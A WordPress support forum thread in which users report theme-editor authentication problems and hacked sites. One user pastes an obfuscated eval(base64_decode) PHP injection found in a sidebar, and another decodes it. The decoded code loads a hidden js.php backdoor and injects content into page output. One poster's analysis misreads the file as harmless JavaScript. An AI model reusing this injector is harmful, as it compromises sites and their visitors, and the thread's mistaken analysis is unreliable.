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Editing Theme – keeps asking me to authenticate but does nothing?

  • Here’s an odd one –

    We have decided to do a new site. Problem is, I am trying to update the code (Edit Theme) and when I do, and click ‘Update File’, it asks me to Authenticate. I do so, and it never updates the main page. I try again – same thing! What am I doing wrong? :

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  • Are you using the built in Theme Editor? If so, make sure you have permissions of those theme files set correctly.

    gizmodvd : I am having the same issue. Have you tried anything yet?

    So far I’ve recovered all of my files from last week (the hack occured yesterday during the day). This seemed to work but about an hour later the problem recurred.

    My website is currently hosted on a godaddy shared server. Could it be possible that the hack has spread to the entire server?


    I am having the same issue with bluehost.

    I noticed the below in my sidebar and I am sure I did not put it there:

    <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZTMvYW5zd2VydW4vcHVibGljX2h0bWwvdGVzdGluZy0yL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvdGhlbWVzL2FkdmFuY2VkL3NraW5zL2RlZmF1bHQvaW1nL2pzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lMy9hbnN3ZXJ1bi9wdWJsaWNfaHRtbC90ZXN0aW5nLTIvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvc2tpbnMvZGVmYXVsdC9pbWcvanMucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

    degmsb, I’m pretty sure you have been hacked if you found that code in your theme!

    I recently found similar code in my theme that I don’t remember putting there and I have the same authentication issue..

    Hacked? Please explain.

    The above base64 encrypted string decodes to:

    if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home3/answerun/public_html/testing-2/wp-includes/js/tinymce/themes/advanced/skins/default/img/js.php')){include_once('/home3/answerun/public_html/testing-2/wp-includes/js/tinymce/themes/advanced/skins/default/img/js.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\<body/si',$c)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}

    which, if I ‘decode’ correctly, tries to find a specific java script file in a specific directory (which is too specific IMHO) and tries to run a function. The chance that this js file is found in the mention location is a million to one, unless it has been custom prepared for degmsb’s setup.


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